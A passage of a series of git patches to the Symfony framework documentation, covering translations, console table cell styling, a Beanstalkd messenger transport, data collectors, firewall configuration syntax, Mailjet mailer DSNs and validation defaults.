         # translations/messages+intl-icu.en.yaml
+
+        # the 'other' key is required, and is selected if no other case matches
         invitation_title: >-
             {organizer_gender, select,
                 female {{organizer_name} has invited you for her party!}
@@ -116,6 +118,7 @@ typical usage of this is gender:
                 <body>
                     <trans-unit id="invitation_title">
                         <source>invitation_title</source>
+                        <!-- the 'other' key is required, and is selected if no other case matches -->
                         <target>{organizer_gender, select,
                             female {{organizer_name} has invited you for her party!}
                             male {{organizer_name} has invited you for his party!}
@@ -130,6 +133,7 @@ typical usage of this is gender:
 
         // translations/messages+intl-icu.en.php
         return [
+            // the 'other' key is required, and is selected if no other case matches
             'invitation_title' => '{organizer_gender, select,
                 female {{organizer_name} has invited you for her party!}
                 male   {{organizer_name} has invited you for his party!}

From 4a5be126e1f1e7adfc3f55e95e1219b1b2159e2d Mon Sep 17 00:00:00 2001
From: khoptynskyi <khoptynskyi@gmail.com>
Date: Sun, 16 Aug 2020 17:25:22 +0300
Subject: [PATCH 1009/7107] [Console] added TableCellStyle documentation

---
 components/console/helpers/table.rst | 33 ++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index bc680cc5ad0..d50cc160c06 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -393,3 +393,36 @@ This will display the following table in the terminal:
     | Love    |
     | Symfony |
     +---------+
+
+.. versionadded:: 5.2
+
+Styling of table cells
+----------------------
+
+You can customize a table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`::
+
+    use Symfony\Component\Console\Helper\Table;
+    use Symfony\Component\Console\Helper\TableCellStyle;
+
+    $table = new Table($output);
+
+    $table->setRows([
+        [
+            '978-0804169127',
+            new TableCell(
+                'Divine Comedy',
+                [
+                    'style' => new TableCellStyle([
+                        'align' => 'center',
+                        'fg' => 'red',
+                        'bg' => 'green',
+
+                        // or
+                        'cellFormat' => '<info>%s</info>',
+                    ])
+                ]
+            )
+        ],
+    ]);
+
+    $table->render();

From abf4680a807eaaa3b597abb250407aee2c26e860 Mon Sep 17 00:00:00 2001
From: Antonio Pauletich <antonio.pauletich95@gmail.com>
Date: Mon, 17 Aug 2020 01:03:24 +0200
Subject: [PATCH 1010/7107] Add Beanstalkd Messenger bridge documentation

---
 messenger.rst | 96 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 96 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 87f37600524..3b5e81ced07 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -992,6 +992,102 @@ auto_setup          Whether the table should be created
                     automatically during send / get.     true
 ==================  ===================================  ======================
 
+Beanstalkd Transport
+~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Install it by running:
+
+    .. code-block:: terminal
+
+        $ composer require symfony/beanstalkd-messenger
+
+.. code-block:: bash
+
+    # .env
+    MESSENGER_TRANSPORT_DSN=beanstalkd://localhost
+
+The format is ``beanstalkd://<ip>:<port>?tube_name=<name>&timeout=<timeoutInSeconds>&ttr=<ttrInSeconds>``.
+
+The ``port`` setting is optional and defaults to ``11300`` if not set.
+
+The transport has a number of options:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async_priority_high: "%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority"
+                    async_normal:
+                        dsn: "%env(MESSENGER_TRANSPORT_DSN)%"
+                        options:
+                            tube_name: normal_priority
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority"/>
+                    <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
+                        <framework:options>
+                            <framework:tube>
+                                <framework:name>normal_priority</framework:name>
+                            </framework:tube>
+                        </framework:options>
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'transports' => [
+                    'async_priority_high' => '%env(MESSENGER_TRANSPORT_DSN)%?tube_name=high_priority',
+                    'async_priority_low' => [
+                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                        'options' => [
+                            'tube_name' => 'normal_priority'
+                        ]
+                    ],
+                ],
+            ],
+        ]);
+
+Options defined under ``options`` take precedence over ones defined in the DSN.
+
+==================  ===================================  ======================
+     Option         Description                          Default
+==================  ===================================  ======================
+tube_name           Name of the queue                    default
+timeout             Message reservation timeout          0 (will cause the
+                    - in seconds.                        server to immediately
+                                                         return either a
+                                                         response or a
+                                                         TransportException
+                                                         will be thrown)
+ttr                 The message time to run before it
+                    is put back in the ready queue
+                    - in seconds.                        90
+==================  ===================================  ======================
+
 Redis Transport
 ~~~~~~~~~~~~~~~
 

From f45358884563b1656ac28137db587fdc7d999969 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vilius=20Grigali=C5=ABnas?= <vilerman@gmail.com>
Date: Mon, 17 Aug 2020 10:34:37 +0300
Subject: [PATCH 1011/7107] Update example to match actual make::entity output

---
 doctrine.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 269ee0a02b7..9a2ee33db89 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -131,16 +131,17 @@ Woh! You now have a new ``src/Entity/Product.php`` file::
     // src/Entity/Product.php
     namespace App\Entity;
 
+    use App\Repository\ProductRepository;
     use Doctrine\ORM\Mapping as ORM;
 
     /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
+     * @ORM\Entity(repositoryClass=ProductRepository::class)
      */
     class Product
     {
         /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
+         * @ORM\Id()
+         * @ORM\GeneratedValue()
          * @ORM\Column(type="integer")
          */
         private $id;
@@ -155,7 +156,7 @@ Woh! You now have a new ``src/Entity/Product.php`` file::
          */
         private $price;
 
-        public function getId()
+        public function getId(): ?int
         {
             return $this->id;
         }

From 54eafd372f054ad17151700fd0c9fda633a4373d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 16 Aug 2020 21:03:42 +0200
Subject: [PATCH 1012/7107] Documentation about custom data collectors with
 autowire/autoconfigure

---
 profiler/data_collector.rst | 37 +++++++++++++++++++++++++------------
 1 file changed, 25 insertions(+), 12 deletions(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 41378ab6464..5081ac76692 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -104,18 +104,25 @@ The information collected by your data collector can be displayed both in the
 web debug toolbar and in the web profiler. To do so, you need to create a Twig
 template that includes some specific blocks.
 
-However, first you must add some getters in the data collector class to give the
+However, first make your DataCollector to extends :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` instead of :class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollector`. When extending :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`, you don't need to implement `getName` method; your collector FQDN is returned as identifier (you can also override it if needed). Though you need to implement `getTemplate` with the template you're going to use in the profiler (see below).
+
+Then you must add some getters in the data collector class to give the
 template access to the collected information::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;
 
-    use Symfony\Component\HttpKernel\DataCollector\DataCollector;
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
 
-    class RequestCollector extends DataCollector
+    class RequestCollector extends AbstractDataCollector
     {
         // ...
 
+        public static function getTemplate(): ?string
+        {
+            return 'data_collector/template.html.twig';
+        }
+
         public function getMethod()
         {
             return $this->data['method'];
@@ -227,8 +234,9 @@ The ``menu`` and ``panel`` blocks are the only required blocks to define the
 contents displayed in the web profiler panel associated with this data collector.
 All blocks have access to the ``collector`` object.
 
-Finally, to enable the data collector template, override your service configuration
-to specify a tag that contains the template:
+That's it ! Your data collector is now accessible in the toolbar.
+
+If you don't use the default configuration with :ref:`autowire and autoconfigure <service-container-services-load-example>`, you'll need to configure the data collector explicitely:
 
 .. configuration-block::
 
@@ -240,9 +248,8 @@ to specify a tag that contains the template:
                 tags:
                     -
                         name:     data_collector
-                        template: 'data_collector/template.html.twig'
                         # must match the value returned by the getName() method
-                        id:       'app.request_collector'
+                        id:       'App\DataCollector\RequestCollector'
                         # optional priority
                         # priority: 300
 
@@ -259,8 +266,7 @@ to specify a tag that contains the template:
                 <service id="App\DataCollector\RequestCollector">
                     <!-- priority="300" -->
                     <tag name="data_collector"
-                        template="data_collector/template.html.twig"
-                        id="app.request_collector"
+                        id="App\DataCollector\RequestCollector"
                     />
                 </service>
             </services>
@@ -277,10 +283,8 @@ to specify a tag that contains the template:
             $services = $configurator->services();
 
             $services->set(RequestCollector::class)
-                ->autowire()
                 ->tag('data_collector', [
-                    'template' => 'data_collector/template.html.twig',
-                    'id'       => 'app.request_collector',
+                    'id'       => RequestCollector::class,
                     // 'priority' => 300,
                 ]);
         };
@@ -289,3 +293,12 @@ The position of each panel in the toolbar is determined by the collector priorit
 Priorities are defined as positive or negative integers and they default to ``0``.
 Most built-in collectors use ``255`` as their priority. If you want your collector
 to be displayed before them, use a higher value (like 300).
+
+.. versionadded:: 5.2
+
+    :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` was introduced in Symfony 5.2.
+
+.. note::
+
+    Before the introduction of :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`, template path was defined in the service configuration (`template` key). This is still possible to define the template in the service configuration. In this case **template in service configuration takes precedence over template defined in data collector code**.
+

From 5892dfb9876233188cd94a9bd21cb28bbed7170c Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 17 Aug 2020 15:22:30 +0200
Subject: [PATCH 1013/7107] Fix debug:container command

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2150bbb487a..2b6ad5f5e1b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -336,7 +336,7 @@ the compiling and warming up of the container:
 
 .. code-block:: terminal
 
-    $ debug:container --deprecations
+    $ php bin/console debug:container --deprecations
 
 .. versionadded:: 5.1
 

From 7f4325d209b8809c9f9c531c8a20b513ca4740ab Mon Sep 17 00:00:00 2001
From: Maxime Helias <maximehelias16@gmail.com>
Date: Mon, 9 Mar 2020 10:18:12 +0100
Subject: [PATCH 1014/7107] Add an explain section to update symfony recipes

---
 setup/_update_recipes.rst.inc | 38 +++++++++++++++++++++++++++++++++++
 setup/upgrade_major.rst       |  6 ++++--
 setup/upgrade_minor.rst       | 38 +----------------------------------
 3 files changed, 43 insertions(+), 39 deletions(-)
 create mode 100644 setup/_update_recipes.rst.inc

diff --git a/setup/_update_recipes.rst.inc b/setup/_update_recipes.rst.inc
new file mode 100644
index 00000000000..da963380ce1
--- /dev/null
+++ b/setup/_update_recipes.rst.inc
@@ -0,0 +1,38 @@
+3) Updating Recipes
+-------------------
+
+Over time - and especially when you upgrade to a new version of a library - an
+updated version of the :ref:`recipe <recipes-description>` may be available.
+These updates are usually minor - e.g. new comments in a configuration file - but
+it's a good idea to keep your files in sync with the recipes.
+
+Symfony Flex provides several commands to help upgrade your recipes. Be sure to
+commit any unrelated changes you're working on before starting:
+
+.. versionadded:: 1.6
+
+    The recipes commands were introduced in Symfony Flex 1.6.
+
+.. code-block:: terminal
+
+    # see a list of all installed recipes and which have updates available
+    $ composer recipes
+
+    # see detailed information about a specific recipes
+    $ composer recipes symfony/framework-bundle
+
+    # update a specific recipes
+    $ composer recipes:install symfony/framework-bundle --force -v
+
+The tricky part of this process is that the recipe "update" does not perform
+any intelligent "upgrading" of your code. Instead, **the updates process re-installs
+the latest version of the recipe** which means that **your custom code will be
+overridden completely**. After updating a recipe, you need to carefully choose
+which changes you want, and undo the rest.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_.
+
+.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9c51834e577..b1fa6690a03 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -84,7 +84,7 @@ Now, you can start fixing the notices:
     OK (10 tests, 20 assertions)
 
     Remaining deprecation notices (6)
-    
+
     The "request" service is deprecated and will be removed in 3.0. Add a type-hint for
     Symfony\Component\HttpFoundation\Request to your controller parameters to retrieve the
     request instead: 6x
@@ -178,7 +178,9 @@ Next, use Composer to download new versions of the libraries:
 
 .. _upgrade-major-symfony-after:
 
-3) Update your Code to Work with the New Version
+.. include:: /setup/_update_recipes.rst.inc
+
+4) Update your Code to Work with the New Version
 ------------------------------------------------
 
 In some rare situations, the next major version *may* contain backwards-compatibility
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 4add91c12da..89c83f5c160 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -91,43 +91,7 @@ These documents can also be found in the `Symfony Repository`_.
 
 .. _updating-flex-recipes:
 
-3) Updating Recipes
--------------------
-
-Over time - and especially when you upgrade to a new version of a library - an
-updated version of the :ref:`recipe <recipes-description>` may be available.
-These updates are usually minor - e.g. new comments in a configuration file - but
-it's a good idea to update the core Symfony recipes.
-
-Symfony Flex provides several commands to help upgrade your recipes. Be sure to
-commit any unrelated changes you're working on before starting:
-
-.. versionadded:: 1.6
-
-    The recipes commands were introduced in Symfony Flex 1.6.
-
-.. code-block:: terminal
-
-    # see a list of all installed recipes and which have updates available
-    $ composer recipes
-
-    # see detailed information about a specific recipes
-    $ composer recipes symfony/framework-bundle
-
-    # update a specific recipes
-    $ composer recipes:install symfony/framework-bundle --force -v
-
-The tricky part of this process is that the recipe "update" does not perform
-any intelligent "upgrading" of your code. Instead, **the updates process re-installs
-the latest version of the recipe** which means that **your custom code will be
-overridden completely**. After updating a recipe, you need to carefully choose
-which changes you want, and undo the rest.
-
-.. admonition:: Screencast
-    :class: screencast
-
-    For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_.
+.. include:: /setup/_update_recipes.rst.inc
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
 .. _`UPGRADE-4.4.md`: https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md
-.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade

From 0025c0645f5cbdeb1090c883ae5513ca0c8b7ab7 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Tue, 18 Aug 2020 10:38:41 +0300
Subject: [PATCH 1015/7107] Fix inconsistent security docs

---
 security/form_login.rst                    |  9 +++++----
 security/guard_authentication.rst          |  9 +++++----
 security/json_login_setup.rst              | 18 ++++++++++--------
 security/multiple_guard_authenticators.rst | 18 ++++++++++--------
 4 files changed, 30 insertions(+), 24 deletions(-)

diff --git a/security/form_login.rst b/security/form_login.rst
index 4dcd039e347..06d7e22c500 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -28,7 +28,8 @@ First, enable ``form_login`` under your firewall:
 
             firewalls:
                 main:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     form_login:
                         login_path: login
                         check_path: login
@@ -46,8 +47,7 @@ First, enable ``form_login`` under your firewall:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <firewall name="main">
-                    <anonymous lazy="true"/>
+                <firewall name="main" anonymous="true" lazy="true">
                     <form-login login-path="login" check-path="login"/>
                 </firewall>
             </config>
@@ -59,7 +59,8 @@ First, enable ``form_login`` under your firewall:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                     'form_login' => [
                         'login_path' => 'login',
                         'check_path' => 'login',
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index d88bea0de20..9245faace34 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -189,7 +189,8 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
                 # ...
 
                 main:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     logout: ~
 
                     guard:
@@ -217,8 +218,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
 
                 <!-- if you want, disable storing the user in the session
                     add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/">
-                    <anonymous lazy="true"/>
+                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
                     <logout/>
 
                     <guard>
@@ -241,7 +241,8 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
             'firewalls' => [
                 'main'       => [
                     'pattern'        => '^/',
-                    'anonymous'      => 'lazy',
+                    'anonymous'      => true,
+                    'lazy'           => true,
                     'logout'         => true,
                     'guard'          => [
                         'authenticators'  => [
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 44ffa5d02e9..b304286bc30 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -17,7 +17,8 @@ First, enable the JSON login under your firewall:
 
             firewalls:
                 main:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     json_login:
                         check_path: /login
 
@@ -34,8 +35,7 @@ First, enable the JSON login under your firewall:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <firewall name="main">
-                    <anonymous lazy="true"/>
+                <firewall name="main" anonymous="true" lazy="true">
                     <json-login check-path="/login"/>
                 </firewall>
             </config>
@@ -47,7 +47,8 @@ First, enable the JSON login under your firewall:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                     'json_login' => [
                         'check_path' => '/login',
                     ],
@@ -165,7 +166,8 @@ The security configuration should be:
 
             firewalls:
                 main:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     json_login:
                         check_path:    login
                         username_path: security.credentials.login
@@ -184,8 +186,7 @@ The security configuration should be:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <firewall name="main">
-                    <anonymous lazy="true"/>
+                <firewall name="main" anonymous="true" lazy="true">
                     <json-login check-path="login"
                         username-path="security.credentials.login"
                         password-path="security.credentials.password"/>
@@ -199,7 +200,8 @@ The security configuration should be:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                     'json_login' => [
                         'check_path' => 'login',
                         'username_path' => 'security.credentials.login',
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index d3ef59a2494..b6ea9ca5f11 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -27,7 +27,8 @@ This is how your security configuration can look in action:
             # ...
             firewalls:
                 default:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
@@ -48,8 +49,7 @@ This is how your security configuration can look in action:
 
             <config>
                 <!-- ... -->
-                <firewall name="default">
-                    <anonymous lazy="true"/>
+                <firewall name="default" anonymous="true" lazy="true">
                     <guard entry-point="App\Security\LoginFormAuthenticator">
                         <authenticator>App\Security\LoginFormAuthenticator</authenticator>
                         <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
@@ -68,7 +68,8 @@ This is how your security configuration can look in action:
             // ...
             'firewalls' => [
                 'default' => [
-                    'anonymous' => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                     'guard' => [
                         'entry_point' => LoginFormAuthenticator::class,
                         'authenticators' => [
@@ -105,7 +106,8 @@ the solution is to split the configuration into two separate firewalls:
                         authenticators:
                             - App\Security\ApiTokenAuthenticator
                 default:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
@@ -133,8 +135,7 @@ the solution is to split the configuration into two separate firewalls:
                         <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
                     </guard>
                 </firewall>
-                <firewall name="default">
-                    <anonymous lazy="true"/>
+                <firewall name="default" anonymous="true" lazy="true">
                     <guard>
                         <authenticator>App\Security\LoginFormAuthenticator</authenticator>
                     </guard>
@@ -163,7 +164,8 @@ the solution is to split the configuration into two separate firewalls:
                     ],
                 ],
                 'default' => [
-                    'anonymous' => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                     'guard' => [
                         'authenticators' => [
                             LoginFormAuthenticator::class,

From 5e64326be283e08fdd10d5ab7ba3739e649fba6e Mon Sep 17 00:00:00 2001
From: Rachid Hammaoui <37940572+makmaoui@users.noreply.github.com>
Date: Tue, 18 Aug 2020 11:45:14 +0200
Subject: [PATCH 1016/7107] Fix term

Change "request" by "response"
---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 4ac6d3865ba..b2ebc92e1ea 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -554,7 +554,7 @@ or change its ``Content-Disposition``::
         'filename.txt'
     );
 
-It is possible to delete the file after the request is sent with the
+It is possible to delete the file after the response is sent with the
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::deleteFileAfterSend` method.
 Please note that this will not work when the ``X-Sendfile`` header is set.
 

From 8586afa9600590ff900fd26926ba39f0b0dce146 Mon Sep 17 00:00:00 2001
From: Thibaut Cheymol <thibaut.cheymol@gmail.com>
Date: Tue, 18 Aug 2020 09:14:14 +0200
Subject: [PATCH 1017/7107] [Mailer] Add documentation for Mailjet mailer

---
 mailer.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 7f22f370dcf..3bb13432a36 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -45,6 +45,7 @@ Amazon SES          ``composer require symfony/amazon-mailer``
 Gmail               ``composer require symfony/google-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
 Mailgun             ``composer require symfony/mailgun-mailer``
+Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 ==================  =============================================
@@ -86,16 +87,17 @@ transport, but you can force to use one:
 This table shows the full list of available DNS formats for each third
 party provider:
 
-==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
-==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default   ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID:ID@default              n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
-==================== ========================================== =========================================== ========================================
+==================== ============================================= =========================================== ========================================
+ Provider             SMTP                                          HTTP                                        API
+==================== ============================================= =========================================== ========================================
+ Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default     ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Google Gmail         gmail+smtp://USERNAME:PASSWORD@default       n/a                                         n/a
+ Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default    mandrill+https://KEY@default                mandrill+api://KEY@default
+ Mailgun              mailgun+smtp://USERNAME:PASSWORD@default     mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+ Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+ Postmark             postmark+smtp://ID:ID@default                n/a                                         postmark+api://KEY@default
+ Sendgrid             sendgrid+smtp://apikey:KEY@default           n/a                                         sendgrid+api://KEY@default
+==================== ============================================= =========================================== ========================================
 
 .. caution::
 

From af5401a38a622e0cc55b42eca361ae7061852f9b Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 18 Aug 2020 17:44:19 +0200
Subject: [PATCH 1018/7107] Remove manual enabling of validation and validator
 annotations

---
 validation.rst | 72 +-------------------------------------------------
 1 file changed, 1 insertion(+), 71 deletions(-)

diff --git a/validation.rst b/validation.rst
index fd18f003d56..de6cfb755a3 100644
--- a/validation.rst
+++ b/validation.rst
@@ -207,77 +207,7 @@ Inside the template, you can output the list of errors exactly as needed:
 Configuration
 -------------
 
-Before using the Symfony validator, make sure it's enabled in the main config
-file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enabled: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enabled="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
-
-Besides, if you plan to use annotations to configure validation, replace the
-previous configuration by the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enable_annotations: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enable-annotations="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
+In the previous Symfony versions, enabling the validator in configuration was a requirement. It's not the case anymore, the validation is enabled by default as long as the Validator component is installed. In the same way, annotations are enabled by default if ``doctrine/annotations`` is installed.
 
 .. tip::
 

From a629f0f28e5f98081ce90d6bbd8cf85146adc02a Mon Sep 17 00:00:00 2001
From: Maks Rafalko <b0rn@list.ru>
Date: Wed, 19 Aug 2020 11:01:54 +0300
Subject: [PATCH 1019/7107] Fix typos: DNS -> DSN

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 229964ce30e..b7d82050c52 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -21,7 +21,7 @@ Transport Setup
 ---------------
 
 Emails are delivered via a "transport". Out of the box, you can deliver emails
-over SMTP by configuring the DNS in your ``.env`` file (the ``user``,
+over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 ``pass`` and ``port`` parameters are optional):
 
 .. code-block:: env
@@ -85,7 +85,7 @@ transport, but you can force to use one:
     # force to use SMTP instead of HTTP (which is the default)
     MAILER_DSN=sendgrid+smtp://$SENDGRID_KEY@default
 
-This table shows the full list of available DNS formats for each third
+This table shows the full list of available DSN formats for each third
 party provider:
 
 ==================== ========================================== =========================================== ========================================

From 1aba2fd519d9b402fbee40b7a7a25e0ac11dbef0 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 21 Aug 2020 16:42:59 +0200
Subject: [PATCH 1020/7107] Update doctrine.rst

---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 5705a50c6ee..fd44b56b2bc 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -117,7 +117,7 @@ The following block shows all possible configuration keys:
     version).
 
     If you are running a MariaDB database, you must prefix the ``server_version``
